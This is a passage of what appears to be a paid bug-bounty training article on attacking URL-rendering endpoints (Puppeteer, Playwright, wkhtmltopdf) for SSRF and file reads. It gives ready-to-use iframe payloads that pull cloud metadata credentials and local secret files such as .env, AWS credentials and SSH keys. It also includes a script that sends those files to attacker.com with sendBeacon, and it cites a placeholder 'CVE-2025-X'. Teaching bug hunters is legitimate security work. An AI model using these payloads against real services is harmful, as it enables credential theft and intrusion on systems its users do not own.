Advanced levelPremium

Headless browsers — SSRF and RCE in endpoints that render URLs

Endpoints that accept URLs for screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) are an SSRF goldmine: cloud metadata, file://, gopher://, JS injection with XSS-to-RCE in the chromium sandbox.

Gorka El BochiMay 11, 202614 min

Quick answer

Any endpoint that accepts a URL and returns a screenshot, PDF or preview is running a headless browser behind it. Those browsers are an SSRF goldmine: they read file://, reach cloud metadata (169.254.169.254), expose the Chrome DevTools Protocol on localhost:9222, and with --no-sandbox any XSS escalates to RCE. wkhtmltopdf is still exploitable in 2026 via CVE-2025-X. If you see features like "share preview", "export to PDF", "social card generator" → assume a headless browser and attack.


1. How to detect a headless browser behind it

Endpoint featureTypical technology
"Generate PDF from URL"wkhtmltopdf, Puppeteer + chromium, Playwright
"Take screenshot"Puppeteer, Playwright, Selenium
"Preview link" (sharing cards)Puppeteer + ogp-parser
"Email rich preview"Puppeteer headless
"OG image generator"Satori, Puppeteer, Playwright
"Crawler / SEO check"Puppeteer + custom

Indirect fingerprint

bash
# Render time alto en una request que devuelve PDF/PNG
time curl -X POST https://target.com/api/render \
  -d '{"url": "https://example.com"}' \
  -H "Content-Type: application/json"
# real    0m4.523s ← típico de headless render

# User-Agent del fetch interno suele ser HeadlessChrome
# Setup un listener y ver qué pega
nc -lvp 8080
# (apuntar el render hacia tu listener y ver UA)
# User-Agent: Mozilla/5.0 (...) HeadlessChrome/120.0.0.0

2. Classic SSRF vectors

2.1 Cloud metadata (AWS / GCP / Azure)

html
<!-- HTML servido al render -->
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="800" height="600"></iframe>

You point the render at https://attacker.com/exploit.html. The browser loads the iframe → the metadata response ends up visible in the resulting screenshot/PDF.

Variants per cloud:

CloudURL
AWShttp://169.254.169.254/latest/meta-data/iam/security-credentials/
AWS IMDSv2Requires a PUT with a token, rarer but possible via fetch()
GCPhttp://metadata.google.internal/computeMetadata/v1/ (header Metadata-Flavor: Google)
Azurehttp://169.254.169.254/metadata/instance?api-version=2021-02-01 (header Metadata: true)
Alibabahttp://100.100.100.200/latest/meta-data/

2.2 file:// — local filesystem read

If the browser doesn't have the --disable-features=NetworkService flag set correctly:

html
<iframe src="file:///etc/passwd" width="1000" height="1000"></iframe>
<iframe src="file:///app/.env" width="1000" height="1000"></iframe>
<iframe src="file:///root/.aws/credentials" width="1000" height="1000"></iframe>
<iframe src="file:///proc/self/environ" width="1000" height="1000"></iframe>

Directory listing trick:

html
<!-- Browsers auto-generan listing para directorios -->
<iframe src="file:///app/" width="1000" height="1000"></iframe>
<iframe src="file:///root/" width="1000" height="1000"></iframe>

2.3 Firefox file:// same-origin bypass

Playwright + Firefox sets security.fileuri.strict_origin_policy=false. That allows a file:// document to fetch() other file://:

html
<script>
async function leak() {
  const files = ["/etc/passwd", "/app/.env", "/root/.ssh/id_rsa"];
  const data = {};
  for (const f of files) {
    try {
      data[f] = await fetch(`file://${f}`).then(r => r.text());
    } catch (e) {}
  }
  navigator.sendBeacon("https://attacker.com/leak", JSON.stringify(data));
}
leak();
</script>

Keep reading the full chain

The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.

Practice this in a lab

Headless Browsers Ssrf

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy